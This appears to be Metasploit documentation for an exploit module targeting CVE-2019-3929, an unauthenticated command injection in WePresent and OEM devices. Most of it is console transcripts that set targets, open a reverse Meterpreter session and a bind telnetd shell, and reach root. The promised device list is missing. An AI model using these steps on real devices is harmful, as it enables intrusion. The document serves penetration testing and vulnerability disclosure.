documentation/modules/exploit/linux/http/wepresent_cmd_injection.md
This module exploits CVE-2019-3929. The vulnerability affects WePresent devices, as well as many OEM devices (listed below). The vulnerability is an unauthenticated remote command injection via HTTP POST request to the /cgi-bin/file_transfer.cgi endpoint.
The following devices are known to be affected by this issue:
use exploit/linux/http/wepresent_cmd_injectionset RHOSTS <device ip>checkset LHOST <ip>msf > use exploit/linux/http/wepresent_cmd_injection
msf exploit(linux/http/wepresent_cmd_injection) > set RHOSTS 10.12.70.246
RHOSTS => 10.12.70.246
msf exploit(linux/http/wepresent_cmd_injection) > set LHOST 10.12.70.238
LHOST => 10.12.70.238
msf exploit(linux/http/wepresent_cmd_injection) > check
[+] 10.12.70.246:443 - The target is vulnerable.
msf exploit(linux/http/wepresent_cmd_injection) > run
[*] Started reverse TCP handler on 10.12.70.238:4444
[*] Command Stager progress - 9.95% done (127/1276 bytes)
[*] Command Stager progress - 19.98% done (255/1276 bytes)
[*] Command Stager progress - 29.94% done (382/1276 bytes)
[*] Command Stager progress - 39.97% done (510/1276 bytes)
[*] Command Stager progress - 50.00% done (638/1276 bytes)
[*] Command Stager progress - 59.95% done (765/1276 bytes)
[*] Command Stager progress - 69.75% done (890/1276 bytes)
[*] Command Stager progress - 79.62% done (1016/1276 bytes)
[*] Command Stager progress - 89.50% done (1142/1276 bytes)
[*] Sending stage (904600 bytes) to 10.12.70.246
[*] Command Stager progress - 100.08% done (1277/1276 bytes)
[*] Command Stager progress - 101.33% done (1293/1276 bytes)
[*] Meterpreter session 1 opened (10.12.70.238:4444 -> 10.12.70.246:40805) at 2020-01-09 05:53:34 -0500
meterpreter > shell
Process 31774 created.
Channel 1 created.
uname -a
Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #30 Wed Jul 12 13:56:45 CST 2017 armv6l GNU/Linux
msf > use exploit/linux/http/wepresent_cmd_injection
msf exploit(linux/http/wepresent_cmd_injection) > set target 0
target => 0
msf exploit(linux/http/wepresent_cmd_injection) > set payload cmd/unix/bind_busybox_telnetd
payload => cmd/unix/bind_busybox_telnetd
msf exploit(linux/http/wepresent_cmd_injection) > set RHOSTS 10.12.70.246
RHOSTS => 10.12.70.246
msf exploit(linux/http/wepresent_cmd_injection) > set LHOST 10.12.70.238
LHOST => 10.12.70.238
msf exploit(linux/http/wepresent_cmd_injection) > check
[+] 10.12.70.246:443 - The target is vulnerable.
msf exploit(linux/http/wepresent_cmd_injection) > run
[*] Started bind TCP handler against 10.12.70.246:4444
[*] Command shell session 1 opened (10.12.70.238:41457 -> 10.12.70.246:4444) at 2020-01-09 05:56:36 -0500
whoami
whoami
root
~/boa/cgi-bin # uname -a
uname -a
Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #30 Wed Jul 12 13:56:45 CST 2017 armv6l GNU/Linux
~/boa/cgi-bin #